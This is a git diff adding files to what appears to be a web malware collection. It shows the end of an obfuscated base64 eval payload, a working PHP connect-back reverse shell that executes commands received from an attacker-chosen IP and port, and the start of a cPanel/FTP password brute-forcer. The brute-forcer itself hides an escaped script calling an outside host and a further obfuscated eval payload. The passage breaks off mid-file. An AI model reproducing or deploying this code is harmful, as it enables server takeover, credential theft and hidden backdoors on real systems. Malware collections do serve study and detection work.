+6boCbQ6uRvXsoH/btW7hHJarUsOhsQVy+iRpTh6V +24vpw7wAqIg8TptO38nj5t4m7h7l/DyOXudcl+va +wQ3sGS3tbr8yujA0s5NdNIeF0vDq9vqxnS6Wcub5 +znxP27W3tUcrYy2MSUHZTh8UjapZXKTTljN6HNTK +6Sa91yg87t1a5XxhT023fH1ALx7ftgfts702vAdR ++2U1Y2W3DVOtDi8OKtXOmb07yl6UzJxZSpqX5+lq +Op97fLzNTmeV3cHjfn17sDAL/cvtsboolLMFtV40 +0Iqlf/u8fUUpvjUpPPTrV6p1VjjrW9n09vncfrEb +BV9/usbLN5gcYH+SO9OB1uvsVsu2slfXlM16Qtk+ +3xwddGx2PkpNZo8PFzvKBIVa+HcP/rUUJeFYI7s+ +UfYn+O/djmON9w4mM2VfeVQObhzl4GUBkt1C2XxI +KgdnlrKZp0bNSndvruxtnyUqD5fbBy8z5aBjAQB9 +37mZbF7sKi/7Nw9K+eFqr5ufKrsX6ef9zkjZqaVT +tZeUsnd2fXA+O0hBLWW/vU0BbpbhILG3qWzOd5VN +ZRdaSyubN/D7ZrRTh8PHpuLs9W4S+3M4IW9uA/bY +7zP8uwcNPyr7vSkAGx3sv1gMoPJyMG+nNzcnSaWj +DJXu5BmAzqGBNLSbUA56C+gmdHXuQNnEwdPl/GbQ +cK7TF207dZUcLtLmVbt7O83f3dA7v6unx8Ho6dEo +PA2N8UXWqdTLqaIzf0jVrnbV2mwxfRzNRs/VbW1S +S8LE3IB0dteq7D8Udm4egPA6kKZfNrO3fcZWu2hr ++HJXUAsHi0X+7nY6vpobzfTBw2kyNcwNiuP+7exh +dzP5pJcne9WXh93pOJUw9cfnaSuVTLXOLRUE/bvr +55e9+jW1YdAUU9nfg5nM3+xVzm73HpWLnXLv5kC1 +sknbGimpzd7LY+ogcZlMP+71ci+7eur5ZjbeThQf +RrnRmZbWb6zdTmmz074gANNW73qzeqPv1jrPyk5r +/nLdOrM2O9b+9ezCavz3Qv8/xuQADiD2uZVvnrVK +uXxjr1S5yffPn/YL87tZSevUs6Z5twAmXqtkepXx +7SKby6TsglbNPpznKreZdrlUKxvm0NSoeieXbNjD +TG6Ue9JOsw97Bbt6ZjYymtHK5ZLjamb8cN4/PS1k +G2b2zOhfFADMQIO9vvTSNE+Lw0WjUr2YPPf7zVYz +02d2tWfTfPZS1xfNq0Q9f5abprOt/sMicXd69nLe +0ApX+XSpcHb+cjvM9sy0rd+ejvLZRb8N7P12Xiyk +LwrZ89tS+tKqFymGz6XSxebCvH2oLBqN0m7OtPbH +F4XJUzMxyQxuLx7OzouN20Ju+NgattTkbrpU2S0P +yk3L2l4s1Gxutj2sFy9yo+6QjaFPTuia2jeeH/bp +nkrkBf/eSu0OrguWZlm5RiNnjxqZ1KK26N4MS8Xr +6lU2szkZ6+nMXW5mjibNxXBRPGj0C7V6pniaSmY2 +79J246x2kLaS+nmzfX41fqRqqVLNsuqt6+u7pvai +7g5Vc5TN1bKJa/OpOesKL82YW/2QMWDNZy0AyM+1 +zumT2SoMxEN/uN9ttIPNZCp7TGZoa23jutVQZ062 +0EiCyN4fpZLtC5R/zL3WfvlJPd1/StQ7Nc1q9NJO +dXawUPevz6oXF81R2h5tPh/cZmeZLje8fxqU/LLb +4IdLO9lIaSenZZrNxdWwkLnIlbIX4+rjlfW4t5h2 +KuNOp1ObWP3SfnHzcXtxcFpr1CqN07vn85o9nVSG +FyZ7MqBUh5NOpyU+UCQ9+AMktuLrElvmFMBfFB7V +4uO0czcZD9MppZvefrbMi3E5kwe507B3y4uLaqb4 +sPfQU6+vKJlePl6q/Umn3L1TN2+LWs5HRQNHJe6V +v0V0o2pL7BRRm/hEt8ouWyI318pwt5k5tR/GRfO2 +X812CouHfDa10z29e7nKXfTt5n550JpMrXojndid +qr3xML+4nI1L8/Osiee2UWGWLyym55zf7gnIj0dv +GMSmHGtS2a4rxezVwKrXDka7Jcd8dhLPg/5w8+ZZ +uT6dpu2bkWLs3qXHva5yVqWGWpoivsncDxjEttow +M9uPj8nx7mScU9Kng07RvDkv1JK5TDXfMjXjdNiB +wTNSicttaiN5USqewpmsUcu3jOx1baeaeWo2x+1+ +P98fjit7hV3DmJ7d3V5kr6qNVrZlDGfD1uI6/fA8 +1mbT22K/lH0sK5WL/YtsfkiPbcOnVPbmOt+72W/n +82oxn0lcZDPdg96kdHF2c1vKnvfPso3amdbfvMoZ +w6vMzqI8ve13shczK//4bE+eKjV7r5W0n5gZlY8u +Hqb9CJLAC5SwdpCSxCJKmmfaM6ZlW2HHbGpaZXA+ +3Es87F5sF2fFzmnnsrw41y4HD/2zPpwsHwv982qh +kOk/FTR6OswZMD12pqze5E7PL3bMZAaOr3YJTn/Z +/kM/ByRRKdxME9lspTxSMrtPO9d3Tr3XSPV3NxMP ++1dPm3udtFK9e+z3nC4BWHwKHDUf7AgNIlkegvKv +VKaafHK5BmNQAdF44ds58pc5Y3c7V+g/GZ0z+rAn +kWnYp6kE/LmEU3LGrBiDh53uuPQ0qZw/OUBg3W4h +UbiuDezT5O74oGKaGaN1XRi3jVku3V6kstlEeR+I +IzOgRwsVQD3c3mY7IHwenD1UJ8al/6Q5ijSkFrVP +xUxY+5TJGpnTerkyvqlUEs/K+ahXLBdbuxdJ67R8 +/UCf21Rb41mxff1yOsztlE632zVTSd4U9jLnTykT +jsx7t2b78fLWWlxtK6P2WVtt3Ex6zXH+tHJ7Y10+ +XDTOYJ4yp71q8+yFzuvlYrEDNPSIN2anQ9Uu35Rv +G/1BKZutbuevTlPV60m9OclfNxfZWia7syg2srg4 +N2GP3a5mhjvZ1ulZ4fJxUclkh5zy+uR1TCbby+T1 +xCnI8rmnOy1fuNgtXc6eLooPxXJhO3OeOjurNC+M +XOMa5i87zmSnTr6/eZbL3un5zGMxe52nzwwrz+PL +YmN6nX1I9c4H3Xm+Mahlc7s3xe1et5mo7ZaaqVp+ +kbnLnNXvGrlWE479cGZWb84W/2nap7t+MduoZ06L +A1PL9M3SXq2/f57r2yBXlq7rjdx5f5ir4UuI+o5+ +e5nfrQ/vKvQxafUid3GZrzxX2/1t2FdSrR398bIw +Pc/3tXwu81RpJ3aBVad255nFZfFykHdup7nZ4i77 +nK00m5XnXHNROW0OL/uJp1KPAEyOMnrWgN2y2b8p +9BNOurWwzNztKN/MTNKt8fQiZzbOc8rg8Sozq56+ +9PcLB82LbOHhNttKnLcGp4P0ZcW8zbSyxmUjzBdH +5pt8se/ni/wOvSLwRUaJ5N5ttalqNgoXhcXF7uVz +9iWX3tvpFzIj53w4Kjcz1y+d3Kg5sC7S5eed5/6e +sqBap5fypVo+zTayV6lCv1i+Sj8Vaq3WtXPQbzSy +0+b08cm8qqr1i2Gxs1MYKOXx5elLceexsL1ZqJT6 +AYkN/SyG++2TJgv+fruol8b5zO7gece6Tpydmnav +Z3fb08d5cUSPE05iMHy+227sPo7Mu71zY2yOrwqd +zdlNJiByTUdRrhXKeDeTJrvO2QH5nSlvKvNI69iC +7z6rkalQIe+0bGnb/VqmcttM12qzrqXr/eYoe906 +T44eL3bs3XT54bq4rTUqD9Pzab63C7OWFeUQe9GL +fDfVzNQ3tUn9oHVpg3gNvwG9WqYE41Y/eMhUdh4m +lV3tdn9Xm1zc1A72O/rTdIGb5hOWI6hN3LvP77DE +8L+bKgQu9a72bnMt6v6gPrY7ldnjZe6lnsjUyy+D +TGdWnzQyC72wk+onevmLXOW0b9bG6UY2fUoBnmb7 +ajvVrzRu+1cPl71We/vWLJ5eZJv97GP9oX+bLxSf +bprT/GmhlEk/ZRqNajMJJ1DUleYy2eKg9LJv5SYa +sP4+1VhWn+3yMF9rt+AQXM2fq5P25WP5sZK6UNXJ +Y7Yw8C1HR7Xeukyxw9tZdlTLFPtd3Ooypdvc5SKz +f4f/HuRv0+clpjgl8nqudJ0tpKDY8+W5oT2WWmej +NMo1+bSyme/vo6eKndrNtLx3lthUUop6OrbbpeeK +09Z2YNbsXnlH2b+hcv1ZP3s7XWQvR/3s9SQJQ3+6 +r5ZgCgbNTm+8yGvD+eZZMjkxZ4XyyDJejGlv82p7 +UofjZyJ3+TIew/SnbwZX+UzmlKrZL5+vu0rCcJTk +LKlsV1+AqHYS9YODxLi2o+zNk+nbl/nLTdlamDcl +ZWfeUvbyQ2WRvTHnB/bzvPmwqA1Up5E7u0ru0Tdb +MzNxetkA7Oqbm/vl8Q5Q7MNOAzDO5C6u+5l05+G8 +8f8L9Q2sfzgwoiuD1tNttbBI9yv9Vu0hvZ8vZjSQ +KUp3zcKteZ5vvNTbaSWz0Bq5xpBys9OFMX18HD5m +nkpqEXag/KKWdCwtM+s87s1L+nneWAyyWr3wlHlu +j1qFu9qLuXPRvnyq5Ox5/qI2ajVt7Sy/0M+GFSqM +nl1qFWvv9CU765m7mef9vfJs0zASvUyvnjjIzEuF +5v5d9UFLN1qX47bZv7W1rJoxrorD3OD2OZsrGYub +4V0+ZTa3i/SMPEs75dBlCnryDh+kRGXCfoQiIfrp +ATsjVemBrZWxCtuj/HlxqB4krYtpRsn3z7fPs+rd +7sjODa93YbSy6YeX4n62tbuTTl8f3GWu05v91O7V +9VPxYNE1F3fjlwkcAqdUO3E5rV+fbpf6u2ePys24 ++TC7Wwx9p8KFZXzjFl0SLsO/YYtuXuLRpZPI7V6k +zmYFo6l17UzvovA0HOb7WfPqyXagledpd2aqdOdR +062bdkJLZ4sJ6xJ2DbysKx10x3qnWbjef77J7Vaf +Uo3SXtm67TjT87uq/dR/ud6dlLuP6YNByX9R/hQ6 +DGP/Cg2v39mAaO96nzh72r9VTwdoqqZ2LvAQgxZ4 +fX5k6+fRbo3arxHDINxt0T5tQUz0fsSyuxqmc7na +NGN0E5mc3analcfq4yxjZBKZ85dWd7R/tqhka5cX +fejVtFNoZUHwXmSypdwT1fiBfPWkd9qDcSZdQNdm +/cntxUA9HzxdWqVs1RrsPTw7Sv1O3UwMbjVlkkhd +pbsvd7Pe7ZVSL52ed8yLbGN4Wh8WClTog016T/7r +X2j8Q0Upmuibdjwd6cRF7Rbx/GVPdb27ZU4dY2y8 +UG9q1MVWX3+cqSPbF1JU2K6YH0ueECO/LOLVkhg8 +aDr/ZT2wX50X90eK/XLcNEdI7PPE2Yz9eHri4GBP +Yb80tcN+ueUN22S/RgOV/3oZsF/TzpDj6WI8m/VY +vElBQhT6hgkx/mvb+5n2fu64P1GTQ3/bwm/4KTZB +lRJCE5jA+mH0OKwJT3uY6u7PnpsPqXwsxxxBQ+Od +d0g5+K+vb0zRJLS8HElqryIUxQRacmzO+S8vze3C +2EN3MeYFLR9senoXYGMCmw1rJJakt7FCSUxgk2/b +vNsTXy+pplyogwkx9svxTYQdmAcOcd6xxXL0jl4o +iAls8FWHT5jhw4Kyb6EOJrDBcHwlqdgtlMQEWrI3 +UsWS1D5KKDl2CVLl62RsdA3vp3/2XR2pjwJYKqcC +5kabf7o/+GqyaUxHwlGo886+7qijkRv1OtplKfHY +pyB9Uw+XbilVG+hbGArIMkeH0nTWGRlaoEzhaWpY +un3oBrWDtTsekjh2iRj+Lwn/SyW2Ezzk0hLgY/Vp +C7A4luPru4lf4f+p9K97gSpl1Xa2KmbX6Bl619ei +Fzzv/r5YKhfu73lzbuAJj2cujwwNZXi4CfRuuyQy +NHdijG4OP2HBL0INwZuAFxo60AJjy2ItzqmPvGCe +gUgGvvaOImJyL+mpCj3tQEue9+IOSe+y3q+pxH8w +//wQ6F73C/d1uS5fq9bEmPQ/SE0d+IwufealSGxP +mUQKAvL4+pUO1kR18NUph8WCdg/5nnU/1J9tfybp +t+e90hceFzAdEsRnrqPjWVw+fCsSMCTOIhwGew7i +uQNksU0ytNQ3bzAKvdoxZ2JIGs/RZs5CR6Q2cahf +6upqTBoB3WIoY9zJYRLxZ+dZcizDdix1/CmXa+tq +5UscK2RhnW45uu3w8rY5xjCXU1vakqqzYVk3q9Kn +zKRttAZ/b0JOgddsD9TJEKZ6NJIWgBELB9CZ9W2S +nYF0/KBORR3Tbf4XWyrlGtJPuzu7Ozs7QsDcgeNM +D0FqW0zjcB6Na+ZYsTXLmDq2gqsVBiLeHY1+G9t9 +xzymtXFEvXl4BYA5wXCPpD5ksdpknna8KUpAZ4z+ +5Fjt2MAmuxjdTlFP4q6X4d8wSFE4Ap4K9c3hWLWG +x/IY9qKpOtFHzGUsHBjKBebIX87WmvlCcytXK5cz +9VbhEJ3GjtSprcskhl+LRfRLMHxy6Hc/j2DFuH91 +FulvhzuolpPcgTW6D/8b9Kafo5H/tsk/IrQyqfGT +lsD/8W4nsVssaqAPkNDAnI6M7JhT6usWOnksp6CX +UzZoMiVIEsbi8NCdVvnjbyAMMb/1uEqOpN9OSNDW +cffn7rGQ6/MqjKUIqJwJcjsQkE6DtvBgGNIhDZ+j +TIVwraFu7LzSixNhBRXwB40w5vOMHIm8vEI0Hox2 +s7yc3OX+hX0NoFP9brgFEsiHhdEhcGkkCfQSHwEl +Oq7P63jz2DwuvGSUr+Wlvpx5QB03no4bRPKd00Aj +lq86D4yIXOfTMnqf/lMmh/ks9mbkhJYUIoqMu9BH +2EfZVjiyPcaNhypz8mpMIyiP0baWOo7G/MQX4j2a +QkP+BLh9VChqf/JMU25IWB2uQRrM7U/hfMndH8j7 +/hXYXWugds0FbJGwW2qwux7mpRVYHooTy9bb/vaS +BUfd0JNAM4EuXdp6bzaSGOu1WYxxGmuF/V6BS/J4 +uVEt8DzIXXG5vl3j7YXrwQAorUK5kGtL1UylEGqC +FKjV26VaVbrKlC+hxAzbkLZU+eRCt2B/l+a6hU7N +/ZVC1RbySdns92lALAxKZAcrhKqM4LCBV3EneOpA +wYkFTApXDFXtGbBTKh1oSpnZlvcDPeKP6KftJtqB +bPK9hUHRpa10IpGQUieS0tXnymQ2AnGmNTO6EhSx +o/AIYQJcQtqCo9JWDw5hsW1J0R1NoadI6X+lPgiL +QM5Aaa1CU7outc9ql22pnmm1roFRfFipBdpXBCuR +06TU48ibm4sA7tckagR2F8v/thL8xcAAVr6Ac6yk +oT/8xfZYGj1PnuSTPPOHC5O5GihNdSRlapmawoiG +fWnTGUbMlE9y9ctStVhbCdhEd0hUjS3VmU35WJZw +56tNYSmgEL7aFJEwCbrU1zT5BP4Dw2PjkV3vQqf+ +B/8JlMehbfbkkyIsfWi/Yz5J6/lM9bTQrF22NlYb +UxxNV0pfxIHtD7E7ANGGjQVm6TluWn3lslq6UaA3 +ukMjywGF9rcWBkyvrbyo01QcUL4u1Qvl2mlLqreT +0nqpR6fK7cRqCGG/KUAgG/LLBzi1EpC4Eqq4/e7h +6DnT+BRjWUKn8eQSd2CFzpCgVWMEpAxHKWW47XIf +EnNpKK1fWGo3rm181yDEAbCUfAV0SlovJ98BK/UG +rNQ7YG2/AWv7HbDSb8BKvwPWzhuwdiJhfVTotrPK +dhYhqnm1qNAWDWUF8c23E3Ys4ZupWuIS691YfZY6 +OuzfOokEOLNRT4Dh23RLGulzfWT7BQMqF/IPEFO+ +XTbhHwyTErDKQyZ50BHCn0lP/p9ihEBXKGHrqm+a +/ZFOdQHU864nmNAxo7AeZd9py+iSpLA8sQC5cWGp +03VIuSdCwfrGRkDgEQ9vdErd49vIgD65cHsGyIzm +E0oVwHNfrWmNbLcasMj42HwxQIQ+1Cdbl61Ds9cz +8HzwNpzByAUDiW8X91rt7E0jyovEJnecyanMl0nL +N9zugcEvfVIK8Z0g/nt++I7zQ93Su93nf/L5oQ44 +ttSejipzXco+o9wnrTd1tSsVMYDWhnig8NjPjzpU +YBuH0lIVCgmY6zIN2C/lE39hStIu3bt4y24IVknv +H4oirchCl/19NfPjb8GU3mxCBkKy7P49BnFbh1H7 +n9//B/6zhuraYxLgGn+Pp8f4H+jcOsmJSbL2RC5L +/ofEKzteuz8ttD/9gr9/+XJEIECvj8NqBSxB6nkB +99rWMzL8timdgmCBo4DTNMEAs2SZwDkhcXCAlIcw +KX1h/gmP7vo/Rm9dM6fP6zKw4Kml23b8ZWR0DtFh +OWkwJpE+bGz8ThHWBoZueaHhMA96ZLEOUerAbDIm +vHxM8mJuUmhY2o3iRgtRCLY5szQ9ovcUtNh/pDEN +jmMYy4sEv6VBeluOajmS218ellAYls8yiTcIxVlz +wqB8pFWKcBqJGkkKlpZm8er+Z4bK6yHrGSZ8ZTG3 +4GfX0Nflj8VatS0Bd6w1MVxaIY+I5grVdqF50jIt +6zkej5PJgwofs5EqJTL3qFDKnkhdGDUMtqc/GbZj +S6ZFIod1TUwbqHOEQu8H4x8V1spHBVE4obP0P//z +1RtEN0IrSaQEYdi27qz76BJjCUJ/PGqnVyBYAdXu ++BcXCf71LY3+yOys07pr2kAfGxNO710DA5+Z1vMv +GDeRhu7D+KFYQWZlfyUIU0w9Ui9Dt6WiOcKgu8uo +ndaPIHhPCUhbRP0fj4q6QabMF0xcCMrnFvs88aXz +8OE8AhpeDPmHUOiqMI50aI5YHRzFZWLfHy3BRW8I +ZJjzDHUDtoVD6UdsA2LHAPorO4E7bO/ZDnxYP0ft +CRSBf2Wx5wcJPdCZb9DyryLtUFF9JYUpKRmUcQgJ +vftegB8Q/oB7Gwr6noQsZ/c3qQMX2nr8140oRbwM +XEYbdsynCDDAJvv601Q4HkoSKa53T6Qtiea+R7fP +5fUgyboC4x833bMp6tP8070267qTfEny355kqVDN +tW/rcPhgjrgth3Rmq6s66kokQDEJTCSVGOkM0AI9 +Kg4uoxO8BcZ2v/Wa5ZJjgbxFGJJF1zki1zzBGfLY +CflD7qXpTcy/CUP5xotbIK6KOtSRH/uo4rvvb8dD +DEjyR3ACCvnVO1wRzlKyYdVyIG04+vtI5TsGmpwA +vovJjodvLJ7vGVq6Ulcd26Uo9LztnkTB/mNmQTQi ++f/JYj01f/xSHdmvkET3x620U1P+kcsJhiK0mL57 +LPrmH7a4en/GSH7HkmCjnvyGtZH4wQvi4CDxChVE +aQC3tj5J2sEBUTJI87jkI4DBXLdwYN+Wo6iN4MnH +GYkKbsK8d6XOM5WbZlR2ogYG0s8S1RRK/+tBZRpz +yzQdgsiWeyc3wVOReBKWfyoW8TAsnzShdIug3WKl +pVPLnE1dHYa6pCIrAAic6hOd3vNJaEl7KPYeQE26 +63AqGxuaZRJD240tGxUw+DuWJgcB6cvWlnsMwxNC +F/qnThxjblgYzXzS1R0aF73z7HYX79Uc83AAxN2N +d9QX1eqrE+PvfUzH64ITkiO5OWT0xK5YKGivn2Uz +GxLvS1i/KhCz0jG7z5CAuhe2SWgDkAXW1/DGH35A +XygNPBnOOunYx9/+Pw== +'))); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/connect-back.php.txt b/web-malware-collection-master/Backdoors/PHP/connect-back.php.txt new file mode 100755 index 0000000..dbfa2c8 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/connect-back.php.txt @@ -0,0 +1,56 @@ +<? + +/* + +coded by ZoRLu + +03.11.2009 + +admin@yildirimordulari.com ( only msn ) + +z0rlu.blogspot.com + +*/ + +print ( '<title>ZoRBaCK Connect</title>' ); + +echo "<br><b>ZoRBaCK Connect<br> + Usage: nc -vv -l -p 21<br> + <hr> + <form method='POST' action=''><br> + Your IP & Port:<br> + <input type='text' name='ipim' size='15' value=''> + <input type='text' name='portum' size='5' value='21'><br><br> + <input type='submit' value='Connect'><br><br> + <hr> + </form>"; + + $ipim=$_POST['ipim']; + $portum=$_POST['portum']; + if ($ipim <> "") + { + $mucx=fsockopen($ipim , $portum , $errno, $errstr ); + if (!$mucx){ + $result = "Error: didnt connect !!!"; + } + else { + + $zamazing0="\n"; + + fputs ($mucx ,"\nwelcome ZoRBaCK\n\n"); + fputs($mucx , system("uname -a") .$zamazing0 ); + fputs($mucx , system("pwd") .$zamazing0 ); + fputs($mucx , system("id") .$zamazing0.$zamazing0 ); + while(!feof($mucx)){ + fputs ($mucx); + $one="[$"; + $two="]"; + $result= fgets ($mucx, 8192); + $message=`$result`; + fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); + } + fclose ($mucx); + } + } + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/cpanel.txt b/web-malware-collection-master/Backdoors/PHP/cpanel.txt new file mode 100755 index 0000000..bcd60b5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cpanel.txt @@ -0,0 +1,180 @@ +<html> +<head> +<meta http-equiv="Content-Language" content="en-us"> +</head> +<title>Aria cPanel cracker version 1.0 - Edited By KingDefacer</title> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> +<style> +body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;} +input, +.kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;} +button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;} +body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;} +a:active { outline: none; } +a:focus { -moz-outline-style: none; } +</style> + <style type='text/css'> + <!-- + A:link {text-decoration: none; color:#cccccc } + A:visited {text-decoration: none; color:#cccccc } + a:hover {text-decoration: none; color:#000000} + --> +</style> +<?php +@ini_set('memory_limit', 1000000000000); +$connect_timeout=5; +@set_time_limit(0); +$submit = $_REQUEST['submit']; +$users = $_REQUEST['users']; +$pass = $_REQUEST['passwords']; +$target = $_REQUEST['target']; +$option = $_REQUEST['option']; +$page = $_GET['page']; + +if($target == ''){ +$target = 'localhost'; +$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));}?> +<?php + print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='70%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td width='70%'> +<br><b><center><a href='?page=bio'> bio </a> - <a href='?page=crack'> brute </a> - <a href='?page=users'> grab users </a><br><br></center></td></tr></table>"; + if ( $page == 'bio' ){ +print +"<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td> +<br><b>Please enter your USERNAME and PASSWORD to logon<br> +user<br> +220 +ok<br> +pass ********<br> +220 +ok login successful<br> +[ user@alturks.com ]# info<b><br><font face=tahoma><br> +<font color='red' >Aria cPanel cracker version : 1.0 </font><b><br><br> +Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version<br> +Our website , <a href='http://alturks.com'> http://alturks.com</a><br> +</center><br></td></tr></table>"; + }elseif( $page == 'crack'){ + +@ini_set('memory_limit', 1000000000000); +$connect_timeout=5; +@set_time_limit(0); +$submit = $_REQUEST['submit']; +$users = $_REQUEST['users']; +$pass = $_REQUEST['passwords']; +$target = $_REQUEST['target']; +$option = $_REQUEST['option']; +if($target == ''){ +$target = 'localhost'; +} +print " <div align='center'> +<form method='post' style='border: 1px solid #000000'><br><br> +<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td> +<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p> +<div align='center'><br> +<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1> +<tr> +<td align='center'> +<b>Username</b></td> +<td> +<p align='center'> +<b>Password</b></td> +</tr> +</table> +<p align='center'> +<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea> +<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$pass</textarea><br> +<br> +<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel +<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p> +</td></tr></table></td></tr></form><p align= 'left'>"; +?> +<?php +function ftp_check($host,$user,$pass,$timeout){ +$ch = curl_init(); +curl_setopt($ch, CURLOPT_URL, "ftp://$host"); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); +curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); +curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); +curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); +curl_setopt($ch, CURLOPT_FAILONERROR, 1); +$data = curl_exec($ch); +if ( curl_errno($ch) == 28 ) { + +print "<b> Error : Connection timed out , make confidence about validation of target !</b>"; +exit;} + +elseif ( curl_errno($ch) == 0 ){ + +print +"<b>[ user@alturks.com ]# </b> +<b> Attacking has been done , found username , <font color='#FF0000'> $user </font> and password , +<font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);} + +function cpanel_check($host,$user,$pass,$timeout){ +$ch = curl_init(); +curl_setopt($ch, CURLOPT_URL, "http://$host:2082"); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); +curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); +curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); +curl_setopt($ch, CURLOPT_FAILONERROR, 1); +$data = curl_exec($ch); +if ( curl_errno($ch) == 28 ) { +print "<b> Error : Connection timed out , make confidence about validation of target !</b>"; +exit;} +elseif ( curl_errno($ch) == 0 ){ + +print +"<b>[ user@alturks.com ]# </b> +<b>Attacking has been done , found username , <font color='#FF0000'> $user </font> and password , +<font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);} + +if(isset($submit) && !empty($submit)){ + +$userlist = explode ("\n" , $users ); +$passlist = explode ("\n" , $pass ); +print "<b>[ user@alturks.com ]# Attacking ...</font></b><br>"; +foreach ($userlist as $user) { +$_user = trim($user); +foreach ($passlist as $password ) { +$_pass = trim($password); +if($option == "ftp"){ +ftp_check($target,$_user,$_pass,$connect_timeout); +} +if ($option == "cpanel") +{ +cpanel_check($target,$_user,$_pass,$connect_timeout); +} +} +} +} +}elseif ( $page == 'users'){ +echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 